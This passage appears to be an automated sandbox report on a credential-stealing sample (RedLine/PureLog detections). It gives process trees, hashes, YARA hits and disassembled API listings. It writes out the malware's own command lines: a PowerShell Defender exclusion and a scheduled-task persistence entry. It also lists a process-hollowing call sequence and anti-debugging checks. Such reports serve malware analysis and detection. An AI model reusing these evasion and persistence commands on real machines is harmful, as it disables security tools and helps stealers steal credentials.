Author: Joe Security Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 91%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:47:14
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Imagebase:	0x80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:47:14
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f
Imagebase:	0x3c0000
File size:	187'904 bytes
MD5 hash:	478BEAEC1C3A9417272BC8964ADD1CEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:47:14
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6aaab0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:47:14
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6aaab0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:47:15
Start date:	02/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6728c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:47:21
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\Oupzhkpr.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Oupzhkpr.PIF"
Imagebase:	0x400000
File size:	2'145'792 bytes
MD5 hash:	F7D9FFE252E26320F26A76FC3F239C50
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:47:21
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0xb20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5880, Parent PID: 1420

General

Target ID:	14
Start time:	20:47:21
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6aaab0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:47:21
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\rpkhzpuO.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\rpkhzpuO.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.23112425454.000000002DA40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000003.23062543754.000000002B733000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000F.00000002.23100866629.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000F.00000001.23060773301.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.23114375641.000000002EA95000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.23111776153.000000002D593000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.23115572603.00000000304E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:47:29
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\Oupzhkpr.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Oupzhkpr.PIF"
Imagebase:	0x400000
File size:	2'145'792 bytes
MD5 hash:	F7D9FFE252E26320F26A76FC3F239C50
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:47:29
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0xb20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 816, Parent PID: 1420

General

Target ID:	18
Start time:	20:47:29
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6aaab0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:47:29
Start date:	02/01/2025
Path:	C:\Users\Public\Libraries\rpkhzpuO.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\rpkhzpuO.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.23188607246.0000000030743000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000002.23176421665.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.23190771291.0000000032F70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.23191645092.00000000335E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000003.23143070311.000000002E873000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.23190455309.0000000031995000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000001.23140173632.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:47:49
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Roaming\ACCApi\apihost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"
Imagebase:	0xb00000
File size:	665'670'656 bytes
MD5 hash:	785BCB4933871B92E40A89544BFA615E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.3%
Total number of Nodes:	290
Total number of Limit Nodes:	16

Executed Functions

Function 02DE8BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DE881C: LoadLibraryA.KERNEL32(00000000,00000000,02DE8903), ref: 02DE8850
Part of subcall function 02DE881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02DE8903), ref: 02DE8860
Part of subcall function 02DE881C: GetProcAddress.KERNEL32(74BD0000,00000000), ref: 02DE8879
Part of subcall function 02DE881C: FreeLibrary.KERNEL32(74BD0000,00000000,02E31388,Function_000065D8,00000004,02E31398,02E31388,000186A3,00000040,02E3139C,74BD0000,00000000,00000000,00000000,00000000,02DE8903), ref: 02DE88E3

Part of subcall function 02DE85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02DE8660

GetThreadContext.KERNEL32(00000844,02E31420,ScanString,02E313A4,02DEA774,UacInitialize,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,UacInitialize,02E313A4), ref: 02DE943A

Part of subcall function 02DE824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE82BD

Part of subcall function 02DE84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02DE8521

Part of subcall function 02DE79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DE7A1F

Part of subcall function 02DE7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE7D6C

SetThreadContext.KERNEL32(00000844,02E31420,ScanBuffer,02E313A4,02DEA774,ScanString,02E313A4,02DEA774,Initialize,02E313A4,02DEA774,00000840,00399FF8,02E314F8,00000004,02E314FC), ref: 02DEA14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000844,00000000,00000844,02E31420,ScanBuffer,02E313A4,02DEA774,ScanString,02E313A4,02DEA774,Initialize,02E313A4,02DEA774,00000840,00399FF8,02E314F8), ref: 02DEA15C

Part of subcall function 02DE8798: LoadLibraryW.KERNEL32(bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize,02E313A4,02DEA774,UacScan), ref: 02DE87AC
Part of subcall function 02DE8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02DE87C6
Part of subcall function 02DE8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize), ref: 02DE8802

Strings

I_QueryTagInformation, xrefs: 02DEA538
MiniDumpReadDumpStream, xrefs: 02DEA560
NtSetSecurityObject, xrefs: 02DEA6C7
MiniDumpWriteDump, xrefs: 02DEA54C
BCryptVerifySignature, xrefs: 02DEA3AB
NtOpenObjectAuditAlarm, xrefs: 02DEA46C, 02DEA524
OpenSession, xrefs: 02DE8BE1, 02DE9004, 02DE90B6, 02DEA487, 02DEA5CD
UacScan, xrefs: 02DE8CAB, 02DE8EC3, 02DE94BF, 02DE98BB, 02DE9A2F, 02DEA1D9, 02DEA671
ntdll, xrefs: 02DEA45D, 02DEA471, 02DEA529, 02DEA6CC, 02DEA6E0
sppc, xrefs: 02DE91AE
UacInitialize, xrefs: 02DE8E6A, 02DE91CB, 02DE934A, 02DE944E, 02DE984A, 02DE99BE, 02DEA168
ScanBuffer, xrefs: 02DE8D04, 02DE8D8C, 02DE9127, 02DE923C, 02DE92D9, 02DE9612, 02DE9799, 02DE992C, 02DE9B11, 02DE9C26, 02DE9DE4, 02DE9F54, 02DEA0C7, 02DEA2BB, 02DEA4D9, 02DEA61F
BCryptQueryProviderRegistration, xrefs: 02DEA3BF
SLGetLicenseInformation, xrefs: 02DE9197
BCryptRegisterProvider, xrefs: 02DEA3D3
advapi32, xrefs: 02DEA53D
Initialize, xrefs: 02DE8F22, 02DE9530, 02DE96B7, 02DE9AA0, 02DE9D02, 02DE9E72, 02DE9FE5, 02DEA24A, 02DEA57B
bcrypt, xrefs: 02DEA3B0, 02DEA3C4, 02DEA3D8
NtReadVirtualMemory, xrefs: 02DEA458
NtOpenProcess, xrefs: 02DEA6DB
ScanString, xrefs: 02DE8C3A, 02DE8DE5, 02DE8F93, 02DE93BB, 02DE95A1, 02DE9728, 02DE9BB5, 02DE9D73, 02DE9EE3, 02DEA056, 02DEA341, 02DEA3EE
dbgcore, xrefs: 02DEA551, 02DEA565

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Library$MemoryThreadVirtual$AddressContextFreeLoadProc$AllocateCreateHandleModuleProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4083799063-51457883
Opcode ID: 1787fc41c0630f3706d654ce9e8c69d369d4fdbf2911c728722972445c4a7df8
Instruction ID: 79347744aca62a3f0e340a647741a63fc61b250bf34e5103238ec75174a61192
Opcode Fuzzy Hash: 1787fc41c0630f3706d654ce9e8c69d369d4fdbf2911c728722972445c4a7df8
Instruction Fuzzy Hash: F8E22E35A409599FDF11FBA4DC91ADE73BAEF44311F1181A5E00AAB314DE30EE868F64

Function 02DE8BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DE881C: LoadLibraryA.KERNEL32(00000000,00000000,02DE8903), ref: 02DE8850
Part of subcall function 02DE881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02DE8903), ref: 02DE8860
Part of subcall function 02DE881C: GetProcAddress.KERNEL32(74BD0000,00000000), ref: 02DE8879
Part of subcall function 02DE881C: FreeLibrary.KERNEL32(74BD0000,00000000,02E31388,Function_000065D8,00000004,02E31398,02E31388,000186A3,00000040,02E3139C,74BD0000,00000000,00000000,00000000,00000000,02DE8903), ref: 02DE88E3

Part of subcall function 02DE85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02DE8660

GetThreadContext.KERNEL32(00000844,02E31420,ScanString,02E313A4,02DEA774,UacInitialize,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,UacInitialize,02E313A4), ref: 02DE943A

Part of subcall function 02DE824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE82BD

Part of subcall function 02DE84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02DE8521

Part of subcall function 02DE79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DE7A1F

Strings

I_QueryTagInformation, xrefs: 02DEA538
MiniDumpReadDumpStream, xrefs: 02DEA560
NtSetSecurityObject, xrefs: 02DEA6C7
MiniDumpWriteDump, xrefs: 02DEA54C
BCryptVerifySignature, xrefs: 02DEA3AB
NtOpenObjectAuditAlarm, xrefs: 02DEA46C, 02DEA524
OpenSession, xrefs: 02DE8BE1, 02DE9004, 02DE90B6, 02DEA487, 02DEA5CD
UacScan, xrefs: 02DE8CAB, 02DE8EC3, 02DE94BF, 02DE98BB, 02DE9A2F, 02DEA1D9, 02DEA671
ntdll, xrefs: 02DEA45D, 02DEA471, 02DEA529, 02DEA6CC, 02DEA6E0
sppc, xrefs: 02DE91AE
UacInitialize, xrefs: 02DE8E6A, 02DE91CB, 02DE934A, 02DE944E, 02DEA168
ScanBuffer, xrefs: 02DE8D04, 02DE8D8C, 02DE9127, 02DE923C, 02DE92D9, 02DE9612, 02DE9799, 02DE992C, 02DE9B11, 02DE9C26, 02DE9DE4, 02DE9F54, 02DEA0C7, 02DEA2BB, 02DEA4D9, 02DEA61F
BCryptQueryProviderRegistration, xrefs: 02DEA3BF
SLGetLicenseInformation, xrefs: 02DE9197
BCryptRegisterProvider, xrefs: 02DEA3D3
advapi32, xrefs: 02DEA53D
Initialize, xrefs: 02DE8F22, 02DE9530, 02DE96B7, 02DE9AA0, 02DE9D02, 02DE9E72, 02DE9FE5, 02DEA24A, 02DEA57B
bcrypt, xrefs: 02DEA3B0, 02DEA3C4, 02DEA3D8
NtReadVirtualMemory, xrefs: 02DEA458
NtOpenProcess, xrefs: 02DEA6DB
ScanString, xrefs: 02DE8C3A, 02DE8DE5, 02DE8F93, 02DE93BB, 02DE95A1, 02DE9728, 02DE9BB5, 02DE9D73, 02DE9EE3, 02DEA056, 02DEA341, 02DEA3EE
dbgcore, xrefs: 02DEA551, 02DEA565

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: LibraryMemoryVirtual$AddressAllocateContextCreateFreeHandleLoadModuleProcProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2852987580-51457883
Opcode ID: 171e90f856324784d8ead397d8089afb2649fb77b19e848d0faf490e85122138
Instruction ID: 104846704a0ac4325a7767e5d2c0910c8d47b627006745e35a952cf24756babc
Opcode Fuzzy Hash: 171e90f856324784d8ead397d8089afb2649fb77b19e848d0faf490e85122138
Instruction Fuzzy Hash: 70E22E35A409599FDF11FBA4DC91ADE73BAEF44311F1181A5E00AAB314DE30EE868F64

Function 02DD5A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02DD0000,02DFD790), ref: 02DD5A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02DD0000,02DFD790), ref: 02DD5AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02DD0000,02DFD790), ref: 02DD5AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02DD5AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02DD5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02DD5B37
RegQueryValueExA.ADVAPI32(?,02DD5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02DD5B7D,?,80000001), ref: 02DD5B55
RegCloseKey.ADVAPI32(?,02DD5B84,00000000,?,?,00000000,02DD5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DD5B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02DD5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02DD5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02DD5BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02DD5BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02DD5C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02DD5C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02DD5C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02DD5C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02DD5C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02DD5C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02DD5AE4
Software\Borland\Locales, xrefs: 02DD5AA8, 02DD5AC6

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 23775d756b06e0754618453caf6fedc862cd5ea6be405f1f5244f53fc281fd85
Instruction ID: baf6669b5f1fe591e71dfbad22e0a578ecca11d6cc99fba9037c634fa1deb807
Opcode Fuzzy Hash: 23775d756b06e0754618453caf6fedc862cd5ea6be405f1f5244f53fc281fd85
Instruction Fuzzy Hash: C6519571A40A0C7EFB21D6E49C46FEF7BADDB04744F8045A1A604E6281D774DE48CFA0

Function 02DE8798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize,02E313A4,02DEA774,UacScan), ref: 02DE87AC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02DE87C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize), ref: 02DE8802

Part of subcall function 02DE7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DE7D6C

Strings

bcrypt, xrefs: 02DE87AB
BCryptVerifySignature, xrefs: 02DE87BF

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: b4aa80c8dc1ac915b2abb6f0b55e26ad0c729c1675b9107b437385e892138108
Instruction ID: fb37dae66a34f06c8442e8d92732995bbfb8e02a1ca18c3c98479bc67bdd45ff
Opcode Fuzzy Hash: b4aa80c8dc1ac915b2abb6f0b55e26ad0c729c1675b9107b437385e892138108
Instruction Fuzzy Hash: EBF08C71AC02185AEB10AA6AA84DBB6379CE780356F42092EF10DCB640C7705890CBA0

Function 02DEEBE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02DEEBF8
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02DEEC0A
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02DEEC21

Strings

CheckRemoteDebuggerPresent, xrefs: 02DEEC04
KernelBase, xrefs: 02DEEBF3

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
